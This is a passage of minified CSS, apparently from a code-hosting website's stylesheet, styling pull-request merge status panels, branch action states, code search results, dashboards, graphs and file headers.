ease-in-out}.statuses-toggle-opened{display:none}.merge-status-item{position:relative;padding:8px 16px;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default)}.merge-status-item:last-child:not(.review-item){border-bottom:0}.merge-status-item .css-truncate-target{max-width:100%}.merge-status-item .dismiss-review-form{display:none}.merge-status-item.open .review-status-item{display:none !important}.merge-status-item.open .dismiss-review-form{display:block}.status-meta{color:var(--color-fg-muted)}.status-meta-file-name{padding:.2em .4em;margin:0;font-size:85%;background-color:rgba(27,31,35,.05);border-radius:6px}.status-actions{margin-left:auto}.branch-action-item-icon{float:left;margin-left:-40px}.merge-status-icon{min-width:30px}.branch-action{padding-left:55px;margin-top:16px;margin-bottom:16px}.branch-action .merge-branch-heading{margin-bottom:4px}.branch-action-icon{float:left;width:40px;height:40px;margin-left:-55px;color:var(--color-fg-on-emphasis);border-radius:6px}.branch-action-body{position:relative;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.branch-action-body .spinner{display:block;float:left;width:32px;height:32px;margin-right:16px;background:url("/images/spinners/octocat-spinner-32.gif") no-repeat}.branch-action-body .merge-message,.branch-action-body .merge-branch-form,.branch-action-body .queue-branch-form{padding:16px;background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.post-merge-message{padding:16px}.branch-action-item{padding:16px 16px 16px 55px;font-size:13px;line-height:1.4}.branch-action-item+.branch-action-item,.branch-action-item+.mergeability-details{border-top:1px solid var(--color-border-default)}.branch-action-item.open>.merge-status-list-wrapper>.merge-status-list,.branch-action-item.open>.merge-status-list{max-height:231px;margin-bottom:-16px;border:solid var(--color-border-default);border-width:1px 0 0}.branch-action-item.open .statuses-toggle-opened{display:inline}.branch-action-item.open .statuses-toggle-closed{display:none}.branch-action-btn{margin-left:16px}.branch-action-item-simple{padding-left:16px}.branch-action-item-simple .merge-status-list{margin-left:-16px}.branch-action-item-simple .merge-status-item{padding-left:12px}.branch-action-state-clean .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis);border:1px solid transparent}.branch-action-state-clean .branch-action-body{border-color:var(--color-success-emphasis)}.branch-action-state-clean .branch-action-body::after,.branch-action-state-clean .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-clean .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-clean .branch-action-body::before{background-color:var(--color-success-emphasis)}.branch-action-state-unknown .branch-action-icon,.branch-action-state-unstable .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-attention-emphasis);border:1px solid transparent}.branch-action-state-unknown .branch-action-body,.branch-action-state-unstable .branch-action-body{border-color:var(--color-attention-emphasis)}.branch-action-state-unknown .branch-action-body::after,.branch-action-state-unknown .branch-action-body::before,.branch-action-state-unstable .branch-action-body::after,.branch-action-state-unstable .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-unknown .branch-action-body::after,.branch-action-state-unstable .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-unknown .branch-action-body::before,.branch-action-state-unstable .branch-action-body::before{background-color:var(--color-attention-emphasis)}.branch-action-state-merged .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-done-emphasis);border:1px solid transparent}.branch-action-state-merged .branch-action-body{border-color:var(--color-done-emphasis)}.branch-action-state-merged .branch-action-body::after,.branch-action-state-merged .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-merged .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-merged .branch-action-body::before{background-color:var(--color-done-emphasis)}.branch-action-state-dirty .branch-action-icon,.branch-action-state-closed-dirty .branch-action-icon,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis);border:1px solid transparent}.branch-action-state-dirty .branch-action-body,.branch-action-state-closed-dirty .branch-action-body,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body{border-color:var(--color-border-default)}.branch-action-state-dirty .branch-action-body::after,.branch-action-state-dirty .branch-action-body::before,.branch-action-state-closed-dirty .branch-action-body::after,.branch-action-state-closed-dirty .branch-action-body::before,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::after,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-dirty .branch-action-body::after,.branch-action-state-closed-dirty .branch-action-body::after,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-dirty .branch-action-body::before,.branch-action-state-closed-dirty .branch-action-body::before,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::before{background-color:var(--color-border-default)}.branch-action-state-error .branch-action-icon,.is-merging .branch-action-state-error-if-merging .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis);border:1px solid transparent}.branch-action-state-error .branch-action-body,.is-merging .branch-action-state-error-if-merging .branch-action-body{border-color:var(--color-danger-emphasis)}.branch-action-state-error .branch-action-body::after,.branch-action-state-error .branch-action-body::before,.is-merging .branch-action-state-error-if-merging .branch-action-body::after,.is-merging .branch-action-state-error-if-merging .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-error .branch-action-body::after,.is-merging .branch-action-state-error-if-merging .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-error .branch-action-body::before,.is-merging .branch-action-state-error-if-merging .branch-action-body::before{background-color:var(--color-danger-emphasis)}.enqueued-pull-request .branch-action-body::after,.enqueued-pull-request .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.enqueued-pull-request .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.enqueued-pull-request .branch-action-body::before{background-color:var(--color-attention-emphasis)}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){.branch-action-body .spinner{background-image:url("/images/spinners/octocat-spinner-64.gif");background-size:32px 32px}}.merge-branch-form,.queue-branch-form{display:none;margin:16px 0}.merge-branch-form .commit-form,.queue-branch-form .commit-form{border-color:var(--color-success-emphasis)}.merge-branch-form .commit-form::before,.queue-branch-form .commit-form::before{display:none}@media(min-width: 768px){.merge-branch-form .commit-form::before,.queue-branch-form .commit-form::before{display:block;border-right-color:var(--color-border-default)}}.merge-branch-form .commit-form::after,.queue-branch-form .commit-form::after{display:none}@media(min-width: 768px){.merge-branch-form .commit-form::after,.queue-branch-form .commit-form::after{display:block}}.merge-branch-form.error .commit-form,.merge-branch-form.danger .commit-form,.queue-branch-form.error .commit-form,.queue-branch-form.danger .commit-form{border-color:var(--color-danger-emphasis)}.merge-branch-form.error .commit-form::before,.merge-branch-form.danger .commit-form::before,.queue-branch-form.error .commit-form::before,.queue-branch-form.danger .commit-form::before{border-right-color:var(--color-danger-emphasis)}.merge-button-matrix-merge-form .merge-branch-form{display:block}.completeness-indicator{display:flex;align-items:center;justify-content:center;width:30px;height:30px}.completeness-indicator-success{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis);border:1px solid transparent;border-radius:50%}.completeness-indicator-error{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis);border:1px solid transparent;border-radius:50%}.completeness-indicator-problem{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis);border:1px solid transparent;border-radius:50%}.completeness-indicator-warning{color:var(--color-fg-on-emphasis);background-color:var(--color-attention-emphasis);border:1px solid transparent;border-radius:50%}.pull-merging .pull-merging-error{display:none}.pull-merging.is-error .pull-merging-error{display:block}.pull-merging.is-error .merge-pr{display:none}.admin-options-block .admin-option-button{margin-top:8px}.admin-options-block .policy-enforcement{display:inline;margin-left:8px;color:var(--color-fg-muted)}.admin-options-block .policy-enforcement label{font-size:14px}.admin-options-block .disabled{color:var(--color-fg-muted)}.admin-options-block .disabled .note{color:var(--color-fg-muted)}.overflow-scroll-y{overflow-x:hidden !important;overflow-y:scroll !important}.business-menu-item:not([aria-current=page])+.business-sub-menu{display:none}.business-menu-icon{width:16px;margin-right:8px}.deprovisioning-checkbox>.show-if-disabled{display:none}.deprovisioning-checkbox.checkbox-disabled{color:var(--color-fg-muted)}.deprovisioning-checkbox.checkbox-disabled>.show-if-disabled{display:inherit}.dormant-users-recent-reports{gap:16px}.avatar-migration-status-badge{width:20px;height:20px}body.full-width-p-0 .new-discussion-timeline{padding:0 !important}body.full-width-p-0 .footer .mt-6{margin-top:0 !important;border-top:0 !important}body.full-width-p-0 .tabnav .tabnav-extra{margin-right:24px}body.full-width-p-0 .tabnav .tabnav-tabs{margin-left:16px}.actions-full-screen .pagehead,.actions-full-screen .hide-full-screen,.actions-full-screen .Header-old,.actions-full-screen .Header{display:none}.checks-list-item.selected .checks-list-item-name{background-color:var(--color-accent-emphasis) !important}.checks-list-item.selected .selected-color-white{color:var(--color-fg-on-emphasis) !important}.checks-list-item-icon{width:16px}.check-annotation{border-left:0;border-top-left-radius:0;border-bottom-left-radius:0}.file .check-annotation{border-bottom:1px solid var(--color-border-default)}.file .check-annotation:last-child{border-bottom:0}.check-annotation .annotation-actions{top:4px;right:8px}.check-annotation .annotation-octicon{width:16px}.check-annotation.Details--on .Details-content--hidden{display:block !important}.annotation-title{word-break:break-all}.check-annotation-failure{box-shadow:inset 4px 0 0 var(--color-danger-emphasis)}.check-annotation-failure .annotation-title{color:var(--color-danger-fg)}.check-annotation-warning{box-shadow:inset 4px 0 0 var(--color-attention-emphasis)}.check-annotation-warning .octicon-alert{color:var(--color-attention-fg)}.check-annotation-warning .annotation-title{color:var(--color-attention-fg)}.neutral-check{color:var(--color-fg-muted)}.code-frequency .addition{fill:#2cbe4e;fill-opacity:1}.code-frequency .deletion{fill:var(--color-danger-emphasis);fill-opacity:1}.code-list .file-box{border:1px solid var(--color-border-default);border-radius:6px}.code-list .title{min-height:24px;margin:-4px 0 8px 40px;font-weight:600;line-height:1.2}.code-list .repo-specific .title,.code-list .repo-specific .full-path{margin-left:0}.code-list .match-count,.code-list .updated-at{margin:0;font-weight:400}.code-list .language{float:right;margin-left:8px;font-size:12px;color:rgba(51,51,51,.75)}.code-list .avatar{float:left}.code-list .code-list-item+.code-list-item{border-top:1px solid var(--color-border-muted)}.code-list .blob-num{padding:0}.code-list .blob-num::before{content:normal}.code-list .blob-num a{padding:0 8px;color:inherit}.code-list .blob-num a:hover{color:var(--color-accent-fg)}.code-list .blob-code{white-space:pre-wrap}.code-list .divider .blob-num,.code-list .divider .blob-code{padding-top:0;padding-bottom:0;cursor:default;background-color:var(--color-canvas-subtle)}.code-list .divider .blob-num{height:18px;padding:0 8px;line-height:15px;background-color:var(--color-canvas-subtle)}.code-list .full-path{margin:0 0 0 40px}.code-list .full-path .octicon-repo{color:var(--color-fg-muted)}.code-list .full-path .octicon-lock{color:var(--color-attention-fg)}.code-list .full-path a{color:var(--color-fg-muted)}.code-list-item-private .file-box{border:1px solid var(--color-attention-muted)}.code-list-item-private .blob-num{background-color:var(--color-attention-subtle);border-right:1px solid var(--color-attention-muted)}.code-list-item-private .blob-num a{color:var(--color-attention-fg)}.code-list-item-private .divider .blob-num,.code-list-item-private .divider .blob-code{color:var(--color-attention-fg);background-color:var(--color-attention-subtle)}.code-scanning-alert-warning-message{border-color:var(--color-attention-emphasis) !important}.code-scanning-font-size-inherit{font-size:inherit !important}.cs-message .md-list{padding-left:2em}.code-scanning-timeline .TimelineItem:last-of-type.code-scanning-alert-dismissal-comment::before{width:0}.codesearch-head.pagehead h1{width:250px;line-height:33px}@media(min-width: 768px){.advanced-search-form .flattened dt{width:230px}.advanced-search-form .flattened dt label{font-weight:400}.advanced-search-form .flattened dd{margin-left:250px}.advanced-search-form .form-checkbox{margin-left:250px}}.codesearch-results .code-list .title a{word-wrap:break-word}.codesearch-results .repo-list-item{border-bottom:0}.codesearch-results .repo-list-item+.repo-list-item{border-top:1px solid var(--color-border-default)}.search-form-fluid .TableObject-item--primary{position:relative;padding-right:8px}.search-form-fluid .completed-query{position:absolute;z-index:1;padding:inherit;margin:0;overflow:hidden;white-space:nowrap}.search-form-fluid .completed-query span{opacity:0}.search-form-fluid .search-page-label{position:relative;display:block;font-weight:400;cursor:text}.search-form-fluid .search-page-label.focus .completed-query{opacity:.6}.search-form-fluid .search-page-input{position:relative;z-index:2;min-height:0;padding:0;margin:0;background:none;border:0;box-shadow:none}.search-form-fluid .search-page-input:focus{box-shadow:none}.topics-row-container{height:30px;overflow:hidden}@media(max-width: 544px){.codesearch-pagination-container a:not(.next_page):not(.previous_page),.codesearch-pagination-container .gap{display:none}.codesearch-pagination-container .previous_page,.codesearch-pagination-container .next_page{width:100%}.codesearch-pagination-container .current{color:var(--color-fg-muted);background:var(--color-canvas-default);border-color:var(--color-border-default)}.codesearch-pagination-container .current::after{content:" of " attr(data-total-pages)}}.codespaces-policy-form details>summary::-webkit-details-marker{display:none}.codespaces-wider-select-menu-modal{width:420px;margin-right:32px}.codespaces-policy-item-no-hover:hover{background-color:var(--color-canvas-overlay)}.codespaces-policy-constraint-menu-item-muted-hover:hover{color:var(--color-fg-default);background-color:var(--color-btn-hover-bg)}.codespaces-policy-form-button-hover:hover .codespaces-policy-form-button-text-hover{border-color:var(--color-btn-hover-bg) !important}.codespaces-policy-form-button-hide-border{border-color:var(--color-scale-white) !important}.codespaces-policy-form-blue-hover:hover{color:var(--color-accent-fg) !important}.codespaces-policy-form-blue-hover:hover svg{color:var(--color-accent-fg) !important}.codespaces-policy-form-blue-hover:focus svg{color:var(--color-accent-fg) !important}.codespaces-policy-form-danger-hover:hover{background-color:var(--color-danger-subtle) !important}.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-light.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}@media(prefers-color-scheme: light){.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-light.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}}@media(prefers-color-scheme: dark){.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-dark.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}}@media(prefers-color-scheme: no-preference){.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-light.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}}.commit-activity-master{margin-top:16px}.is-graph-loading .commit-activity-master{display:none}rect{shape-rendering:crispedges}rect.max{fill:var(--color-attention-fg)}g.bar{fill:var(--color-success-fg)}g.mini{fill:var(--color-severe-fg)}g.active rect{fill:var(--color-danger-fg)}circle.focus{fill:var(--color-fg-muted)}.dot text{fill:var(--color-fg-muted);stroke:none}span.no-nl-marker{position:relative;color:var(--color-danger-fg);vertical-align:middle}.symlink .no-nl-marker{display:none}.range-editor{position:relative;padding:4px 16px 4px 40px;margin-top:16px;margin-bottom:16px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px}.range-editor .dots{font-size:16px}.range-editor .select-menu{position:relative;display:inline-block}.range-editor .select-menu.fork-suggester{display:none}.range-editor .branch-name{line-height:22px}.range-editor .branch .css-truncate-target,.range-editor .fork-suggester .css-truncate-target{max-width:180px}.range-editor .pre-mergability{display:inline-block;padding:4px;line-height:26px;vertical-align:middle}.range-editor .pre-mergability .octicon{vertical-align:text-bottom}.range-editor.is-cross-repo .select-menu.fork-suggester{display:inline-block}.range-editor-icon{float:left;margin-top:8px;margin-left:-24px;color:var(--color-fg-muted)}.compare-pr-header{display:none}.is-pr-composer-expanded .compare-show-header{display:none}.is-pr-composer-expanded .compare-pr-header{display:block}.range-cross-repo-pair{display:inline-block;padding:4px;white-space:nowrap}.tint-box{position:relative;margin-bottom:8px;background:var(--color-canvas-subtle);border-radius:6px}.tint-box.transparent{background:var(--color-canvas-default)}.tint-box .activity{padding-top:100px;margin-top:0}.contrib-person path{fill:var(--color-severe-fg)}.contrib-person .midlabel{fill:var(--color-neutral-emphasis)}.coupons .setup-plans td img{margin-top:-2px;vertical-align:middle}.coupons .coupon-form-body{width:270px;padding:16px;margin:100px auto 60px;font-size:14px;text-align:center;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px}.coupons .coupon-form-body .input-block{margin-bottom:16px}.coupons .coupon-form-body .btn{display:block;width:100%}.coupon-icon{width:80px;height:80px;margin:0 auto 16px;color:var(--color-accent-fg);border:1px solid var(--color-border-default);border-radius:40px}.coupon-icon .octicon{margin-top:16px;margin-right:2px}.coupons-list-options .select-menu{display:inline-block;margin-right:8px}.coupons-list-options .pagination{float:right;margin:0}.repo-private-icon{fill:var(--color-attention-fg)}.dashboard-rollup-items>.dashboard-rollup-item{border-top:1px solid var(--color-border-default)}.news-full{float:none;width:auto}.dashboard-break-word{-webkit-hyphens:auto;hyphens:auto;word-break:break-word}.news .bio g-emoji,.news .repo-description g-emoji{display:inline-block}.news .feed-item-heading-menu-button{color:var(--color-fg-muted)}.news .feed-item-heading-menu-button:hover{color:var(--color-fg-default)}.suggest-icon{width:48px;height:48px;padding:4px}.suggest-icon svg,.suggest-icon path{fill:#fff}.suggest-icon svg::before,.suggest-icon path::before{bottom:-6px;left:-4px;background-color:#9e7bff}.suggest-icon svg::after,.suggest-icon path::after{top:-5px;right:-5px;width:5px;height:5px;background-color:#6c84e9}.suggest-icon .suggest-icon-bubble{position:absolute;width:6px;height:6px;background-color:#6c84e9;border-radius:50%}.suggest-icon .suggest-icon-bubble:nth-of-type(2n){width:4px;height:4px;background-color:#9e7bff}.suggest-icon .suggest-icon-bubble:nth-of-type(1){bottom:-7px;left:-7px}.suggest-icon .suggest-icon-bubble:nth-of-type(2){top:-4px;right:4px}.suggest-icon .suggest-icon-bubble:nth-of-type(3){top:-7px;right:-8px}.dashboard-notice{position:relative;padding:16px 16px 16px 55px;margin-bottom:16px;font-size:14px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px}.dashboard-notice .dismiss{position:absolute;top:10px;right:10px;width:16px;height:16px;color:var(--color-fg-muted);cursor:pointer}.dashboard-notice .dismiss:hover{color:var(--color-fg-muted)}.dashboard-notice .notice-icon{position:absolute;top:15px;left:15px}.dashboard-notice .octicon-organization{color:var(--color-accent-fg)}.dashboard-notice h2{margin-top:8px;margin-bottom:16px;font-size:16px;font-weight:400;color:var(--color-fg-default)}.dashboard-notice p.no-title{padding-right:4px}.dashboard-notice ul{margin-left:16px}.dashboard-notice li{padding-bottom:16px}.dashboard-notice .coupon{padding:8px;margin:16px 0;font-size:20px;font-weight:600;text-align:center;background:var(--color-canvas-default);border:1px dashed var(--color-border-default)}.dashboards-overview-lead{width:700px}.dashboards-overview-cards .boxed-group{width:100%;margin:8px 0}.dashboards-overview-cards .boxed-group .graph-canvas path{stroke-opacity:.5}.dashboards-overview-cards .is-no-activity .blankslate{display:block}.dashboards-overview-cards .is-no-activity .dashboards-overview-graph{display:none}.dashboards-overview-cards .blankslate{display:none;padding-top:47px;background-color:var(--color-canvas-default);border:0;box-shadow:none}.dashboards-overview-cards .octicon-arrow-down,.dashboards-overview-cards .octicon-arrow-up{display:none}.dashboards-overview-cards .is-increase .octicon-arrow-up{display:inline-block}.dashboards-overview-cards .is-decrease .octicon-arrow-down{display:inline-block}.dashboards-overview-cards .octicon-arrow-down{color:var(--color-danger-fg)}.dashboards-overview-cards .octicon-arrow-up{color:#1db34f}.dashboards-overview-cards .graph-canvas .dots{padding:43px 0}.dashboards-overview-cards .summary-stats{height:78px}.dashboards-overview-cards .summary-stats .metric-0{color:#1db34f}.dashboards-overview-cards .summary-stats .metric-1{color:var(--color-accent-fg)}.dashboards-overview-cards .summary-stats .totals-num{margin:0 8px}.dashboards-overview-cards .summary-stats .single{width:100%}.dashboards-overview-cards .dashboards-overview-graph{height:160px}.dashboards-overview-cards .dashboards-overview-graph path{fill:none;stroke-width:2}.dashboards-overview-cards .dashboards-overview-graph path.metric-0{stroke:#1db34f}.dashboards-overview-cards .dashboards-overview-graph path.metric-1{stroke:#1d7fb3}.dashboards-overview-cards .dashboards-overview-graph .y line{stroke:#1db34f}.dashboards-overview-cards .dashboards-overview-graph .y.unique line{stroke:#1d7fb3}.dashboards-overview-cards .dashboards-overview-graph .overlay{fill-opacity:0}.dashboards-overview-cards .metric-0 circle{fill:#1db34f;stroke:#fff;stroke-width:2}.dashboards-overview-cards .dots.metric-1 circle{fill:#1d7fb3;stroke:#fff;stroke-width:2}dl.form.developer-select-account{margin-top:0}.developer-wrapper .setup-info-module .features-list{margin-left:16px}.developer-wrapper .setup-info-module .features-list .octicon{margin-left:-16px}.developer-thanks h2{font-size:40px;font-weight:400}.developer-thanks .hook{margin-top:2px;margin-bottom:32px;font-size:16px;font-weight:300;color:var(--color-fg-muted)}.developer-thanks-image{position:relative;bottom:-45px;float:left;width:400px}.developer-thanks-section{margin:130px 0 0 470px}.developer-next-steps{font-size:16px;font-weight:300;list-style:none}.developer-next-steps li{margin-top:8px}.developer-next-steps li:first-child{margin-top:0}.developer-next-steps .octicon{margin-right:8px;color:var(--color-success-fg);vertical-align:middle}.file-diff-split[data-lock-side-selection=left] [data-split-side=right],.file-diff-split[data-lock-side-selection=right] [data-split-side=left]{-webkit-user-select:none;user-select:none}.invisible{position:absolute;opacity:0}.icon-discussion-answered{color:var(--color-success-fg)}.icon-discussion-answered,.icon-discussion-answered path{fill:var(--color-success-emphasis)}.icon-discussion-white{color:var(--color-discussions-state-answered-icon) !important}.icon-discussion-white,.icon-discussion-white path{fill:var(--color-discussions-state-answered-icon) !important}.icon-discussion-gray{color:var(--color-fg-default)}.icon-discussion-gray,.icon-discussion-gray path{fill:var(--color-fg-default)}.label-select-menu .color{display:inline-block;width:14px;height:14px;margin-top:-1px;margin-right:2px;vertical-align:middle;border-radius:7px}.label-select-menu .select-menu-item:hover,.label-select-menu .select-menu-item:focus,.label-select-menu .select-menu-item[aria-checked=true]:hover,.label-select-menu .select-menu-item[aria-checked=true]:focus{color:inherit;background-color:var(--color-neutral-subtle)}.label-select-menu .select-menu-item-icon,.label-select-menu .label-options-icon{color:inherit !important}.user-has-reacted .octicon{fill:var(--color-accent-fg)}.donut-chart>.error,.donut-chart>.cancelled,.donut-chart>.action_required,.donut-chart>.timed_out,.donut-chart>.failure{fill:var(--color-checks-donut-error)}.donut-chart>.expected,.donut-chart>.queued,.donut-chart>.in_progress,.donut-chart>.waiting,.donut-chart>.requested,.donut-chart>.pending{fill:var(--color-checks-donut-pending)}.donut-chart>.success{fill:var(--color-checks-donut-success)}.donut-chart>.neutral,.donut-chart>.stale,.donut-chart>.skipped{fill:var(--color-checks-donut-neutral)}.survey-question-form .other-text-form,.survey-question-form .other-text-form-block{display:none;margin-top:0}.survey-question-form.is-other-selected .other-text-form{display:inline-block}.survey-question-form.is-other-selected .other-text-form-block{display:block}.ghe-license-status{padding:40px 0;font-size:16px;text-align:center}.ghe-license-status .octocat{width:225px;margin-bottom:16px}.ghe-license-status h1{margin-bottom:8px}.ghe-license-status p{margin-bottom:4px;color:var(--color-fg-muted)}.ghe-license-expiry-icon{margin:4px 8px 0 0;color:var(--color-attention-fg)}.feature-preview-dialog{width:90vw;max-width:880px;height:60vh;min-height:240px;max-height:700px}.feature-preview-dialog .feature-preview-info{height:60vh;min-height:183px;max-height:calc(100% - 57px)}.file{position:relative;margin-top:16px;margin-bottom:16px;border:1px solid var(--color-border-default, #ddd);border-radius:6px}.file .drag-and-drop{border:0;border-top:1px dashed var(--color-border-default)}.file:target{outline:none !important;box-shadow:0 0 0 2px var(--color-accent-fg) !important}.file .data.empty{padding:4px 8px;color:var(--color-fg-muted)}.file:not(.open) .file-header.file-header--expandable{border-bottom:0;border-radius:6px}.file .data.suppressed,.file.open .image{display:none}.file.open .data.suppressed{display:block}.file .image{position:relative;padding:32px;text-align:center;background-color:#ddd}.file .image table{margin:0 auto}.file .image td{padding:0 4px;color:var(--color-fg-muted);text-align:center;vertical-align:top}.file .image td img{max-width:100%}.file .image .border-wrap{position:relative;display:inline-block;line-height:0;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default)}.file .image a{display:inline-block;line-height:0}.file .image img,.file .image canvas{max-width:600px;background:url("/images/modules/commit/trans_bg.gif") right bottom #eee;border:1px solid #fff}.file .image .view img,.file .image .view canvas{position:relative;top:0;right:0;max-width:inherit;background:url("/images/modules/commit/trans_bg.gif") right bottom #eee}.file .image .view>span{vertical-align:middle}.file .empty{background:none}.file-header{z-index:2;padding:4px 8px;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default);border-top-left-radius:6px;border-top-right-radius:6px}.file-header::before{display:table;content:""}.file-header::after{display:table;clear:both;content:""}.file-actions{float:right;padding-top:2px;font-size:12px}.file-actions select{margin-left:4px}.file-info{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px;line-height:32px}.file-info .octicon{vertical-align:text-bottom}.sticky-file-header{position:sticky;top:60px}.diff-progressive-loader{min-height:150px}.load-diff-button,.load-diff-retry{z-index:1;min-height:32px}.diff-placeholder-svg{clip:rect(1px, 1px, 1px, 1px);-webkit-clip-path:inset(50%);clip-path:inset(50%)}.ghae-bootstrap-container{min-height:calc(100vh - 54px)}.ghae-bootstrap-incomplete-step{color:var(--color-fg-muted);background-color:var(--color-canvas-subtle)}.ghae-bootstrap-complete-step{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis)}.ghae-enterprise-name-form-error{left:50%;transform:translateX(-50%)}.graphs .area{fill:var(--color-success-emphasis);fill-opacity:.5}.graphs .path{fill:none;stroke:var(--color-success-emphasis);stroke-opacity:1;stroke-width:2px}.graphs .dot{fill:var(--color-success-emphasis);stroke:#1e7e34;stroke-width:2px}.graphs .dot.padded{stroke:var(--color-canvas-default);stroke-width:1px}.graphs .dot.padded circle:hover{fill:var(--color-accent-emphasis)}.graphs .d3-tip{fill:var(--color-neutral-emphasis)}.graphs .d3-tip text{font-size:12px;fill:var(--color-canvas-default)}.graphs .dir{float:right;padding-top:4px;font-size:12px;font-weight:400;line-height:100%;color:var(--color-fg-muted)}.graphs .selection .overlay{visibility:none}.graphs .selection .selection{fill:var(--color-neutral-emphasis);fill-opacity:.1;stroke:var(--color-fg-default);stroke-dasharray:3 3;stroke-opacity:.4;stroke-width:1px;shape-rendering:crispedges}.graph-filter h3{display:inline-block;font-size:24px;font-weight:300}.graph-filter .info{margin-bottom:16px;color:var(--color-fg-muted)}.graph-canvas .activity{width:400px;padding:8px;margin:100px auto 0;color:var(--color-fg-default);text-align:center;border-radius:6px}.graph-canvas .dots{margin:0 auto}.graph-canvas>.activity{display:none}.graph-canvas .axis{font-size:12px}.graph-canvas .axis line{stroke:var(--color-border-default);shape-rendering:crispedges}.graph-canvas .axis text{fill:var(--color-fg-muted)}.graph-canvas .axis path{display:none}.graph-canvas .axis .zero line{stroke:var(--color-accent-emphasis);stroke-dasharray:3 3;stroke-width:1.5}.graph-canvas text.axis{fill:var(--color-fg-muted)}.graph-canvas .graph-loading,.graph-canvas .graph-error,.graph-canvas .graph-no-usable-data,.graph-canvas .graph-empty{display:none}.graph-canvas.is-graph-loading>.activity,.graph-canvas.is-graph-without-usable-data>.activity,.graph-canvas.is-graph-empty>.activity{display:block}.graph-canvas.is-graph-loading .graph-loading,.graph-canvas.is-graph-empty .graph-empty,.graph-canvas.is-graph-without-usable-data .graph-no-usable-data,.graph-canvas.is-graph-load-error .graph-error{display:block}.svg-tip{position:absolute;z-index:99999;padding:8px 16px;font-size:12px;color:var(--color-fg-on-emphasis);text-align:center;background:var(--color-neutral-emphasis-plus);border-radius:6px}.svg-tip.is-visible{display:block}.svg-tip::after{position:absolute;bottom:-10px;left:50%;width:5px;height:5px;box-sizing:border-box;margin:0 0 0 -4px;content:" ";border:5px solid transparent;border-top-color:var(--color-neutral-emphasis-plus)}.svg-tip.left::after{left:10%}.svg-tip.right::after{left:90%}.svg-tip.comparison{padding:0;text-align:left;pointer-events:none}.svg-tip.comparison 